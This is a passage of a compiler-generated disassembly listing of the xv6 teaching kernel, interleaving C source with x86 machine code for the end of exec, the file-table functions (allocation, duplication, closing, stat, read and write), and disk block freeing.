80100c8a: c7 84 bd 64 ff ff ff movl $0x0,-0x9c(%ebp,%edi,4)
80100c91: 00 00 00 00
ustack[0] = 0xffffffff; // fake return PC
80100c95: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp)
80100c9c: ff ff ff
ustack[1] = argc;
80100c9f: 89 bd 5c ff ff ff mov %edi,-0xa4(%ebp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100ca5: 29 c1 sub %eax,%ecx
sp -= (3+argc+1) * 4;
80100ca7: 83 c0 0c add $0xc,%eax
80100caa: 29 c3 sub %eax,%ebx
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100cac: 50 push %eax
80100cad: 52 push %edx
80100cae: 53 push %ebx
80100caf: ff b5 f0 fe ff ff pushl -0x110(%ebp)
}
ustack[3+argc] = 0;
ustack[0] = 0xffffffff; // fake return PC
ustack[1] = argc;
ustack[2] = sp - (argc+1)*4; // argv pointer
80100cb5: 89 8d 60 ff ff ff mov %ecx,-0xa0(%ebp)
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100cbb: e8 d0 61 00 00 call 80106e90 <copyout>
80100cc0: 83 c4 10 add $0x10,%esp
80100cc3: 85 c0 test %eax,%eax
80100cc5: 0f 88 d8 fe ff ff js 80100ba3 <exec+0x1b3>
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100ccb: 8b 45 08 mov 0x8(%ebp),%eax
80100cce: 0f b6 10 movzbl (%eax),%edx
80100cd1: 84 d2 test %dl,%dl
80100cd3: 74 19 je 80100cee <exec+0x2fe>
80100cd5: 8b 4d 08 mov 0x8(%ebp),%ecx
80100cd8: 83 c0 01 add $0x1,%eax
if(*s == '/')
last = s+1;
80100cdb: 80 fa 2f cmp $0x2f,%dl
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100cde: 0f b6 10 movzbl (%eax),%edx
if(*s == '/')
last = s+1;
80100ce1: 0f 44 c8 cmove %eax,%ecx
80100ce4: 83 c0 01 add $0x1,%eax
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100ce7: 84 d2 test %dl,%dl
80100ce9: 75 f0 jne 80100cdb <exec+0x2eb>
80100ceb: 89 4d 08 mov %ecx,0x8(%ebp)
if(*s == '/')
last = s+1;
safestrcpy(curproc->name, last, sizeof(curproc->name));
80100cee: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi
80100cf4: 50 push %eax
80100cf5: 6a 10 push $0x10
80100cf7: ff 75 08 pushl 0x8(%ebp)
80100cfa: 89 f8 mov %edi,%eax
80100cfc: 83 c0 6c add $0x6c,%eax
80100cff: 50 push %eax
80100d00: e8 6b 39 00 00 call 80104670 <safestrcpy>
// Commit to the user image.
oldpgdir = curproc->pgdir;
curproc->pgdir = pgdir;
80100d05: 8b 8d f0 fe ff ff mov -0x110(%ebp),%ecx
if(*s == '/')
last = s+1;
safestrcpy(curproc->name, last, sizeof(curproc->name));
// Commit to the user image.
oldpgdir = curproc->pgdir;
80100d0b: 89 f8 mov %edi,%eax
80100d0d: 8b 7f 04 mov 0x4(%edi),%edi
curproc->pgdir = pgdir;
curproc->sz = sz;
80100d10: 89 30 mov %esi,(%eax)
last = s+1;
safestrcpy(curproc->name, last, sizeof(curproc->name));
// Commit to the user image.
oldpgdir = curproc->pgdir;
curproc->pgdir = pgdir;
80100d12: 89 48 04 mov %ecx,0x4(%eax)
curproc->sz = sz;
curproc->tf->eip = elf.entry; // main
80100d15: 89 c1 mov %eax,%ecx
80100d17: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx
80100d1d: 8b 40 18 mov 0x18(%eax),%eax
80100d20: 89 50 38 mov %edx,0x38(%eax)
curproc->tf->esp = sp;
80100d23: 8b 41 18 mov 0x18(%ecx),%eax
80100d26: 89 58 44 mov %ebx,0x44(%eax)
switchuvm(curproc);
80100d29: 89 0c 24 mov %ecx,(%esp)
80100d2c: e8 4f 5b 00 00 call 80106880 <switchuvm>
freevm(oldpgdir);
80100d31: 89 3c 24 mov %edi,(%esp)
80100d34: e8 c7 5e 00 00 call 80106c00 <freevm>
return 0;
80100d39: 83 c4 10 add $0x10,%esp
80100d3c: 31 c0 xor %eax,%eax
80100d3e: e9 19 fd ff ff jmp 80100a5c <exec+0x6c>
80100d43: 66 90 xchg %ax,%ax
80100d45: 66 90 xchg %ax,%ax
80100d47: 66 90 xchg %ax,%ax
80100d49: 66 90 xchg %ax,%ax
80100d4b: 66 90 xchg %ax,%ax
80100d4d: 66 90 xchg %ax,%ax
80100d4f: 90 nop
80100d50 <fileinit>:
struct file file[NFILE];
} ftable;
void
fileinit(void)
{
80100d50: 55 push %ebp
80100d51: 89 e5 mov %esp,%ebp
80100d53: 83 ec 10 sub $0x10,%esp
initlock(&ftable.lock, "ftable");
80100d56: 68 cd 6f 10 80 push $0x80106fcd
80100d5b: 68 c0 ff 10 80 push $0x8010ffc0
80100d60: e8 ab 34 00 00 call 80104210 <initlock>
}
80100d65: 83 c4 10 add $0x10,%esp
80100d68: c9 leave
80100d69: c3 ret
80100d6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100d70 <filealloc>:
// Allocate a file structure.
struct file*
filealloc(void)
{
80100d70: 55 push %ebp
80100d71: 89 e5 mov %esp,%ebp
80100d73: 53 push %ebx
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100d74: bb f4 ff 10 80 mov $0x8010fff4,%ebx
}
// Allocate a file structure.
struct file*
filealloc(void)
{
80100d79: 83 ec 10 sub $0x10,%esp
struct file *f;
acquire(&ftable.lock);
80100d7c: 68 c0 ff 10 80 push $0x8010ffc0
80100d81: e8 ea 35 00 00 call 80104370 <acquire>
80100d86: 83 c4 10 add $0x10,%esp
80100d89: eb 10 jmp 80100d9b <filealloc+0x2b>
80100d8b: 90 nop
80100d8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100d90: 83 c3 18 add $0x18,%ebx
80100d93: 81 fb 54 09 11 80 cmp $0x80110954,%ebx
80100d99: 74 25 je 80100dc0 <filealloc+0x50>
if(f->ref == 0){
80100d9b: 8b 43 04 mov 0x4(%ebx),%eax
80100d9e: 85 c0 test %eax,%eax
80100da0: 75 ee jne 80100d90 <filealloc+0x20>
f->ref = 1;
release(&ftable.lock);
80100da2: 83 ec 0c sub $0xc,%esp
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
if(f->ref == 0){
f->ref = 1;
80100da5: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx)
release(&ftable.lock);
80100dac: 68 c0 ff 10 80 push $0x8010ffc0
80100db1: e8 6a 36 00 00 call 80104420 <release>
return f;
80100db6: 89 d8 mov %ebx,%eax
80100db8: 83 c4 10 add $0x10,%esp
}
}
release(&ftable.lock);
return 0;
}
80100dbb: 8b 5d fc mov -0x4(%ebp),%ebx
80100dbe: c9 leave
80100dbf: c3 ret
f->ref = 1;
release(&ftable.lock);
return f;
}
}
release(&ftable.lock);
80100dc0: 83 ec 0c sub $0xc,%esp
80100dc3: 68 c0 ff 10 80 push $0x8010ffc0
80100dc8: e8 53 36 00 00 call 80104420 <release>
return 0;
80100dcd: 83 c4 10 add $0x10,%esp
80100dd0: 31 c0 xor %eax,%eax
}
80100dd2: 8b 5d fc mov -0x4(%ebp),%ebx
80100dd5: c9 leave
80100dd6: c3 ret
80100dd7: 89 f6 mov %esi,%esi
80100dd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100de0 <filedup>:
// Increment ref count for file f.
struct file*
filedup(struct file *f)
{
80100de0: 55 push %ebp
80100de1: 89 e5 mov %esp,%ebp
80100de3: 53 push %ebx
80100de4: 83 ec 10 sub $0x10,%esp
80100de7: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ftable.lock);
80100dea: 68 c0 ff 10 80 push $0x8010ffc0
80100def: e8 7c 35 00 00 call 80104370 <acquire>
if(f->ref < 1)
80100df4: 8b 43 04 mov 0x4(%ebx),%eax
80100df7: 83 c4 10 add $0x10,%esp
80100dfa: 85 c0 test %eax,%eax
80100dfc: 7e 1a jle 80100e18 <filedup+0x38>
panic("filedup");
f->ref++;
80100dfe: 83 c0 01 add $0x1,%eax
release(&ftable.lock);
80100e01: 83 ec 0c sub $0xc,%esp
filedup(struct file *f)
{
acquire(&ftable.lock);
if(f->ref < 1)
panic("filedup");
f->ref++;
80100e04: 89 43 04 mov %eax,0x4(%ebx)
release(&ftable.lock);
80100e07: 68 c0 ff 10 80 push $0x8010ffc0
80100e0c: e8 0f 36 00 00 call 80104420 <release>
return f;
}
80100e11: 89 d8 mov %ebx,%eax
80100e13: 8b 5d fc mov -0x4(%ebp),%ebx
80100e16: c9 leave
80100e17: c3 ret
struct file*
filedup(struct file *f)
{
acquire(&ftable.lock);
if(f->ref < 1)
panic("filedup");
80100e18: 83 ec 0c sub $0xc,%esp
80100e1b: 68 d4 6f 10 80 push $0x80106fd4
80100e20: e8 4b f5 ff ff call 80100370 <panic>
80100e25: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100e29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100e30 <fileclose>:
}
// Close file f. (Decrement ref count, close when reaches 0.)
void
fileclose(struct file *f)
{
80100e30: 55 push %ebp
80100e31: 89 e5 mov %esp,%ebp
80100e33: 57 push %edi
80100e34: 56 push %esi
80100e35: 53 push %ebx
80100e36: 83 ec 28 sub $0x28,%esp
80100e39: 8b 7d 08 mov 0x8(%ebp),%edi
struct file ff;
acquire(&ftable.lock);
80100e3c: 68 c0 ff 10 80 push $0x8010ffc0
80100e41: e8 2a 35 00 00 call 80104370 <acquire>
if(f->ref < 1)
80100e46: 8b 47 04 mov 0x4(%edi),%eax
80100e49: 83 c4 10 add $0x10,%esp
80100e4c: 85 c0 test %eax,%eax
80100e4e: 0f 8e 9b 00 00 00 jle 80100eef <fileclose+0xbf>
panic("fileclose");
if(--f->ref > 0){
80100e54: 83 e8 01 sub $0x1,%eax
80100e57: 85 c0 test %eax,%eax
80100e59: 89 47 04 mov %eax,0x4(%edi)
80100e5c: 74 1a je 80100e78 <fileclose+0x48>
release(&ftable.lock);
80100e5e: c7 45 08 c0 ff 10 80 movl $0x8010ffc0,0x8(%ebp)
else if(ff.type == FD_INODE){
begin_op();
iput(ff.ip);
end_op();
}
}
80100e65: 8d 65 f4 lea -0xc(%ebp),%esp
80100e68: 5b pop %ebx
80100e69: 5e pop %esi
80100e6a: 5f pop %edi
80100e6b: 5d pop %ebp
acquire(&ftable.lock);
if(f->ref < 1)
panic("fileclose");
if(--f->ref > 0){
release(&ftable.lock);
80100e6c: e9 af 35 00 00 jmp 80104420 <release>
80100e71: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return;
}
ff = *f;
80100e78: 0f b6 47 09 movzbl 0x9(%edi),%eax
80100e7c: 8b 1f mov (%edi),%ebx
f->ref = 0;
f->type = FD_NONE;
release(&ftable.lock);
80100e7e: 83 ec 0c sub $0xc,%esp
panic("fileclose");
if(--f->ref > 0){
release(&ftable.lock);
return;
}
ff = *f;
80100e81: 8b 77 0c mov 0xc(%edi),%esi
f->ref = 0;
f->type = FD_NONE;
80100e84: c7 07 00 00 00 00 movl $0x0,(%edi)
panic("fileclose");
if(--f->ref > 0){
release(&ftable.lock);
return;
}
ff = *f;
80100e8a: 88 45 e7 mov %al,-0x19(%ebp)
80100e8d: 8b 47 10 mov 0x10(%edi),%eax
f->ref = 0;
f->type = FD_NONE;
release(&ftable.lock);
80100e90: 68 c0 ff 10 80 push $0x8010ffc0
panic("fileclose");
if(--f->ref > 0){
release(&ftable.lock);
return;
}
ff = *f;
80100e95: 89 45 e0 mov %eax,-0x20(%ebp)
f->ref = 0;
f->type = FD_NONE;
release(&ftable.lock);
80100e98: e8 83 35 00 00 call 80104420 <release>
if(ff.type == FD_PIPE)
80100e9d: 83 c4 10 add $0x10,%esp
80100ea0: 83 fb 01 cmp $0x1,%ebx
80100ea3: 74 13 je 80100eb8 <fileclose+0x88>
pipeclose(ff.pipe, ff.writable);
else if(ff.type == FD_INODE){
80100ea5: 83 fb 02 cmp $0x2,%ebx
80100ea8: 74 26 je 80100ed0 <fileclose+0xa0>
begin_op();
iput(ff.ip);
end_op();
}
}
80100eaa: 8d 65 f4 lea -0xc(%ebp),%esp
80100ead: 5b pop %ebx
80100eae: 5e pop %esi
80100eaf: 5f pop %edi
80100eb0: 5d pop %ebp
80100eb1: c3 ret
80100eb2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
f->ref = 0;
f->type = FD_NONE;
release(&ftable.lock);
if(ff.type == FD_PIPE)
pipeclose(ff.pipe, ff.writable);
80100eb8: 0f be 5d e7 movsbl -0x19(%ebp),%ebx
80100ebc: 83 ec 08 sub $0x8,%esp
80100ebf: 53 push %ebx
80100ec0: 56 push %esi
80100ec1: e8 1a 24 00 00 call 801032e0 <pipeclose>
80100ec6: 83 c4 10 add $0x10,%esp
80100ec9: eb df jmp 80100eaa <fileclose+0x7a>
80100ecb: 90 nop
80100ecc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
else if(ff.type == FD_INODE){
begin_op();
80100ed0: e8 6b 1c 00 00 call 80102b40 <begin_op>
iput(ff.ip);
80100ed5: 83 ec 0c sub $0xc,%esp
80100ed8: ff 75 e0 pushl -0x20(%ebp)
80100edb: e8 b0 08 00 00 call 80101790 <iput>
end_op();
80100ee0: 83 c4 10 add $0x10,%esp
}
}
80100ee3: 8d 65 f4 lea -0xc(%ebp),%esp
80100ee6: 5b pop %ebx
80100ee7: 5e pop %esi
80100ee8: 5f pop %edi
80100ee9: 5d pop %ebp
if(ff.type == FD_PIPE)
pipeclose(ff.pipe, ff.writable);
else if(ff.type == FD_INODE){
begin_op();
iput(ff.ip);
end_op();
80100eea: e9 c1 1c 00 00 jmp 80102bb0 <end_op>
{
struct file ff;
acquire(&ftable.lock);
if(f->ref < 1)
panic("fileclose");
80100eef: 83 ec 0c sub $0xc,%esp
80100ef2: 68 dc 6f 10 80 push $0x80106fdc
80100ef7: e8 74 f4 ff ff call 80100370 <panic>
80100efc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100f00 <filestat>:
}
// Get metadata about file f.
int
filestat(struct file *f, struct stat *st)
{
80100f00: 55 push %ebp
80100f01: 89 e5 mov %esp,%ebp
80100f03: 53 push %ebx
80100f04: 83 ec 04 sub $0x4,%esp
80100f07: 8b 5d 08 mov 0x8(%ebp),%ebx
if(f->type == FD_INODE){
80100f0a: 83 3b 02 cmpl $0x2,(%ebx)
80100f0d: 75 31 jne 80100f40 <filestat+0x40>
ilock(f->ip);
80100f0f: 83 ec 0c sub $0xc,%esp
80100f12: ff 73 10 pushl 0x10(%ebx)
80100f15: e8 46 07 00 00 call 80101660 <ilock>
stati(f->ip, st);
80100f1a: 58 pop %eax
80100f1b: 5a pop %edx
80100f1c: ff 75 0c pushl 0xc(%ebp)
80100f1f: ff 73 10 pushl 0x10(%ebx)
80100f22: e8 e9 09 00 00 call 80101910 <stati>
iunlock(f->ip);
80100f27: 59 pop %ecx
80100f28: ff 73 10 pushl 0x10(%ebx)
80100f2b: e8 10 08 00 00 call 80101740 <iunlock>
return 0;
80100f30: 83 c4 10 add $0x10,%esp
80100f33: 31 c0 xor %eax,%eax
}
return -1;
}
80100f35: 8b 5d fc mov -0x4(%ebp),%ebx
80100f38: c9 leave
80100f39: c3 ret
80100f3a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
ilock(f->ip);
stati(f->ip, st);
iunlock(f->ip);
return 0;
}
return -1;
80100f40: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100f45: 8b 5d fc mov -0x4(%ebp),%ebx
80100f48: c9 leave
80100f49: c3 ret
80100f4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100f50 <fileread>:
// Read from file f.
int
fileread(struct file *f, char *addr, int n)
{
80100f50: 55 push %ebp
80100f51: 89 e5 mov %esp,%ebp
80100f53: 57 push %edi
80100f54: 56 push %esi
80100f55: 53 push %ebx
80100f56: 83 ec 0c sub $0xc,%esp
80100f59: 8b 5d 08 mov 0x8(%ebp),%ebx
80100f5c: 8b 75 0c mov 0xc(%ebp),%esi
80100f5f: 8b 7d 10 mov 0x10(%ebp),%edi
int r;
if(f->readable == 0)
80100f62: 80 7b 08 00 cmpb $0x0,0x8(%ebx)
80100f66: 74 60 je 80100fc8 <fileread+0x78>
return -1;
if(f->type == FD_PIPE)
80100f68: 8b 03 mov (%ebx),%eax
80100f6a: 83 f8 01 cmp $0x1,%eax
80100f6d: 74 41 je 80100fb0 <fileread+0x60>
return piperead(f->pipe, addr, n);
if(f->type == FD_INODE){
80100f6f: 83 f8 02 cmp $0x2,%eax
80100f72: 75 5b jne 80100fcf <fileread+0x7f>
ilock(f->ip);
80100f74: 83 ec 0c sub $0xc,%esp
80100f77: ff 73 10 pushl 0x10(%ebx)
80100f7a: e8 e1 06 00 00 call 80101660 <ilock>
if((r = readi(f->ip, addr, f->off, n)) > 0)
80100f7f: 57 push %edi
80100f80: ff 73 14 pushl 0x14(%ebx)
80100f83: 56 push %esi
80100f84: ff 73 10 pushl 0x10(%ebx)
80100f87: e8 b4 09 00 00 call 80101940 <readi>
80100f8c: 83 c4 20 add $0x20,%esp
80100f8f: 85 c0 test %eax,%eax
80100f91: 89 c6 mov %eax,%esi
80100f93: 7e 03 jle 80100f98 <fileread+0x48>
f->off += r;
80100f95: 01 43 14 add %eax,0x14(%ebx)
iunlock(f->ip);
80100f98: 83 ec 0c sub $0xc,%esp
80100f9b: ff 73 10 pushl 0x10(%ebx)
80100f9e: e8 9d 07 00 00 call 80101740 <iunlock>
return r;
80100fa3: 83 c4 10 add $0x10,%esp
return -1;
if(f->type == FD_PIPE)
return piperead(f->pipe, addr, n);
if(f->type == FD_INODE){
ilock(f->ip);
if((r = readi(f->ip, addr, f->off, n)) > 0)
80100fa6: 89 f0 mov %esi,%eax
f->off += r;
iunlock(f->ip);
return r;
}
panic("fileread");
}
80100fa8: 8d 65 f4 lea -0xc(%ebp),%esp
80100fab: 5b pop %ebx
80100fac: 5e pop %esi
80100fad: 5f pop %edi
80100fae: 5d pop %ebp
80100faf: c3 ret
int r;
if(f->readable == 0)
return -1;
if(f->type == FD_PIPE)
return piperead(f->pipe, addr, n);
80100fb0: 8b 43 0c mov 0xc(%ebx),%eax
80100fb3: 89 45 08 mov %eax,0x8(%ebp)
f->off += r;
iunlock(f->ip);
return r;
}
panic("fileread");
}
80100fb6: 8d 65 f4 lea -0xc(%ebp),%esp
80100fb9: 5b pop %ebx
80100fba: 5e pop %esi
80100fbb: 5f pop %edi
80100fbc: 5d pop %ebp
int r;
if(f->readable == 0)
return -1;
if(f->type == FD_PIPE)
return piperead(f->pipe, addr, n);
80100fbd: e9 be 24 00 00 jmp 80103480 <piperead>
80100fc2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
fileread(struct file *f, char *addr, int n)
{
int r;
if(f->readable == 0)
return -1;
80100fc8: b8 ff ff ff ff mov $0xffffffff,%eax
80100fcd: eb d9 jmp 80100fa8 <fileread+0x58>
if((r = readi(f->ip, addr, f->off, n)) > 0)
f->off += r;
iunlock(f->ip);
return r;
}
panic("fileread");
80100fcf: 83 ec 0c sub $0xc,%esp
80100fd2: 68 e6 6f 10 80 push $0x80106fe6
80100fd7: e8 94 f3 ff ff call 80100370 <panic>
80100fdc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100fe0 <filewrite>:
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
80100fe0: 55 push %ebp
80100fe1: 89 e5 mov %esp,%ebp
80100fe3: 57 push %edi
80100fe4: 56 push %esi
80100fe5: 53 push %ebx
80100fe6: 83 ec 1c sub $0x1c,%esp
80100fe9: 8b 75 08 mov 0x8(%ebp),%esi
80100fec: 8b 45 0c mov 0xc(%ebp),%eax
int r;
if(f->writable == 0)
80100fef: 80 7e 09 00 cmpb $0x0,0x9(%esi)
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
80100ff3: 89 45 dc mov %eax,-0x24(%ebp)
80100ff6: 8b 45 10 mov 0x10(%ebp),%eax
80100ff9: 89 45 e4 mov %eax,-0x1c(%ebp)
int r;
if(f->writable == 0)
80100ffc: 0f 84 aa 00 00 00 je 801010ac <filewrite+0xcc>
return -1;
if(f->type == FD_PIPE)
80101002: 8b 06 mov (%esi),%eax
80101004: 83 f8 01 cmp $0x1,%eax
80101007: 0f 84 c2 00 00 00 je 801010cf <filewrite+0xef>
return pipewrite(f->pipe, addr, n);
if(f->type == FD_INODE){
8010100d: 83 f8 02 cmp $0x2,%eax
80101010: 0f 85 d8 00 00 00 jne 801010ee <filewrite+0x10e>
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
80101016: 8b 45 e4 mov -0x1c(%ebp),%eax
80101019: 31 ff xor %edi,%edi
8010101b: 85 c0 test %eax,%eax
8010101d: 7f 34 jg 80101053 <filewrite+0x73>
8010101f: e9 9c 00 00 00 jmp 801010c0 <filewrite+0xe0>
80101024: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
n1 = max;
begin_op();
ilock(f->ip);
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
f->off += r;
80101028: 01 46 14 add %eax,0x14(%esi)
iunlock(f->ip);
8010102b: 83 ec 0c sub $0xc,%esp
8010102e: ff 76 10 pushl 0x10(%esi)
n1 = max;
begin_op();
ilock(f->ip);
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
f->off += r;
80101031: 89 45 e0 mov %eax,-0x20(%ebp)
iunlock(f->ip);
80101034: e8 07 07 00 00 call 80101740 <iunlock>
end_op();
80101039: e8 72 1b 00 00 call 80102bb0 <end_op>
8010103e: 8b 45 e0 mov -0x20(%ebp),%eax
80101041: 83 c4 10 add $0x10,%esp
if(r < 0)
break;
if(r != n1)
80101044: 39 d8 cmp %ebx,%eax
80101046: 0f 85 95 00 00 00 jne 801010e1 <filewrite+0x101>
panic("short filewrite");
i += r;
8010104c: 01 c7 add %eax,%edi
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
8010104e: 39 7d e4 cmp %edi,-0x1c(%ebp)
80101051: 7e 6d jle 801010c0 <filewrite+0xe0>
int n1 = n - i;
80101053: 8b 5d e4 mov -0x1c(%ebp),%ebx
80101056: b8 00 06 00 00 mov $0x600,%eax
8010105b: 29 fb sub %edi,%ebx
8010105d: 81 fb 00 06 00 00 cmp $0x600,%ebx
80101063: 0f 4f d8 cmovg %eax,%ebx
if(n1 > max)
n1 = max;
begin_op();
80101066: e8 d5 1a 00 00 call 80102b40 <begin_op>
ilock(f->ip);
8010106b: 83 ec 0c sub $0xc,%esp
8010106e: ff 76 10 pushl 0x10(%esi)
80101071: e8 ea 05 00 00 call 80101660 <ilock>
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
80101076: 8b 45 dc mov -0x24(%ebp),%eax
80101079: 53 push %ebx
8010107a: ff 76 14 pushl 0x14(%esi)
8010107d: 01 f8 add %edi,%eax
8010107f: 50 push %eax
80101080: ff 76 10 pushl 0x10(%esi)
80101083: e8 b8 09 00 00 call 80101a40 <writei>
80101088: 83 c4 20 add $0x20,%esp
8010108b: 85 c0 test %eax,%eax
8010108d: 7f 99 jg 80101028 <filewrite+0x48>
f->off += r;
iunlock(f->ip);
8010108f: 83 ec 0c sub $0xc,%esp
80101092: ff 76 10 pushl 0x10(%esi)
80101095: 89 45 e0 mov %eax,-0x20(%ebp)
80101098: e8 a3 06 00 00 call 80101740 <iunlock>
end_op();
8010109d: e8 0e 1b 00 00 call 80102bb0 <end_op>
if(r < 0)
801010a2: 8b 45 e0 mov -0x20(%ebp),%eax
801010a5: 83 c4 10 add $0x10,%esp
801010a8: 85 c0 test %eax,%eax
801010aa: 74 98 je 80101044 <filewrite+0x64>
i += r;
}
return i == n ? n : -1;
}
panic("filewrite");
}
801010ac: 8d 65 f4 lea -0xc(%ebp),%esp
break;
if(r != n1)
panic("short filewrite");
i += r;
}
return i == n ? n : -1;
801010af: b8 ff ff ff ff mov $0xffffffff,%eax
}
panic("filewrite");
}
801010b4: 5b pop %ebx
801010b5: 5e pop %esi
801010b6: 5f pop %edi
801010b7: 5d pop %ebp
801010b8: c3 ret
801010b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(r != n1)
panic("short filewrite");
i += r;
}
return i == n ? n : -1;
801010c0: 3b 7d e4 cmp -0x1c(%ebp),%edi
801010c3: 75 e7 jne 801010ac <filewrite+0xcc>
}
panic("filewrite");
}
801010c5: 8d 65 f4 lea -0xc(%ebp),%esp
801010c8: 89 f8 mov %edi,%eax
801010ca: 5b pop %ebx
801010cb: 5e pop %esi
801010cc: 5f pop %edi
801010cd: 5d pop %ebp
801010ce: c3 ret
int r;
if(f->writable == 0)
return -1;
if(f->type == FD_PIPE)
return pipewrite(f->pipe, addr, n);
801010cf: 8b 46 0c mov 0xc(%esi),%eax
801010d2: 89 45 08 mov %eax,0x8(%ebp)
i += r;
}
return i == n ? n : -1;
}
panic("filewrite");
}
801010d5: 8d 65 f4 lea -0xc(%ebp),%esp
801010d8: 5b pop %ebx
801010d9: 5e pop %esi
801010da: 5f pop %edi
801010db: 5d pop %ebp
int r;
if(f->writable == 0)
return -1;
if(f->type == FD_PIPE)
return pipewrite(f->pipe, addr, n);
801010dc: e9 9f 22 00 00 jmp 80103380 <pipewrite>
end_op();
if(r < 0)
break;
if(r != n1)
panic("short filewrite");
801010e1: 83 ec 0c sub $0xc,%esp
801010e4: 68 ef 6f 10 80 push $0x80106fef
801010e9: e8 82 f2 ff ff call 80100370 <panic>
i += r;
}
return i == n ? n : -1;
}
panic("filewrite");
801010ee: 83 ec 0c sub $0xc,%esp
801010f1: 68 f5 6f 10 80 push $0x80106ff5
801010f6: e8 75 f2 ff ff call 80100370 <panic>
801010fb: 66 90 xchg %ax,%ax
801010fd: 66 90 xchg %ax,%ax
801010ff: 90 nop
80101100 <bfree>:
}
// Free a disk block.
static void
bfree(int dev, uint b)
{
80101100: 55 push %ebp
80101101: 89 e5 mov %esp,%ebp
80101103: 56 push %esi
80101104: 53 push %ebx
80101105: 89 d3 mov %edx,%ebx
struct buf *bp;
int bi, m;
bp = bread(dev, BBLOCK(b, sb));
80101107: c1 ea 0c shr $0xc,%edx
8010110a: 03 15 d8 09 11 80 add 0x801109d8,%edx
80101110: 83 ec 08 sub $0x8,%esp
80101113: 52 push %edx
80101114: 50 push %eax
80101115: e8 b6 ef ff ff call 801000d0 <bread>
bi = b % BPB;
m = 1 << (bi % 8);
8010111a: 89 d9 mov %ebx,%ecx
if((bp->data[bi/8] & m) == 0)
8010111c: 81 e3 ff 0f 00 00 and $0xfff,%ebx
struct buf *bp;
int bi, m;
bp = bread(dev, BBLOCK(b, sb));
bi = b % BPB;
m = 1 << (bi % 8);
80101122: ba 01 00 00 00 mov $0x1,%edx
80101127: 83 e1 07 and $0x7,%ecx
if((bp->data[bi/8] & m) == 0)
8010112a: c1 fb 03 sar $0x3,%ebx
8010112d: 83 c4 10 add $0x10,%esp
struct buf *bp;
int bi, m;
bp = bread(dev, BBLOCK(b, sb));
bi = b % BPB;
m = 1 << (bi % 8);
80101130: d3 e2 shl %cl,%edx
if((bp->data[bi/8] & m) == 0)
80101132: 0f b6 4c 18 5c movzbl 0x5c(%eax,%ebx,1),%ecx
80101137: 85 d1 test %edx,%ecx
80101139: 74 27 je 80101162 <bfree+0x62>
8010113b: 89 c6 mov %eax,%esi
panic("freeing free block");
bp->data[bi/8] &= ~m;
8010113d: f7 d2 not %edx
8010113f: 89 c8 mov %ecx,%eax
log_write(bp);
80101141: 83 ec 0c sub $0xc,%esp
bp = bread(dev, BBLOCK(b, sb));
bi = b % BPB;
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0)
panic("freeing free block");
bp->data[bi/8] &= ~m;
80101144: 21 d0 and %edx,%eax
80101146: 88 44 1e 5c mov %al,0x5c(%esi,%ebx,1)
log_write(bp);
8010114a: 56 push %esi
8010114b: e8 d0 1b 00 00 call 80102d20 <log_write>
brelse(bp);
80101150: 89 34 24 mov %esi,(%esp)
80101153: e8 88 f0 ff ff call 801001e0 <brelse>
}
80101158: 83 c4 10 add $0x10,%esp
8010115b: 8d 65 f8 lea -0x8(%ebp),%esp
8010115e: 5b pop %ebx
8010115f: 5e pop %esi
80101160: 5d pop %ebp
80101161: c3 ret
bp = bread(dev, BBLOCK(b, sb));
bi = b % BPB;
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0)
panic("freeing free block");
80101162: 83 ec 0c sub $0xc,%esp
80101165: 68 ff 6f 10 80 push $0x80106fff
8010116a: e8 01 f2 ff ff call 80100370 <panic>
8010116f: 90 nop
80101170 <balloc>:
// Blocks.
// Allocate a zeroed disk block.
static uint
balloc(uint dev)
{
80101170: 55 push %ebp
80101171: 89 e5 mov %esp,%ebp
80101173: 57 push %edi
80101174: 56 push %esi
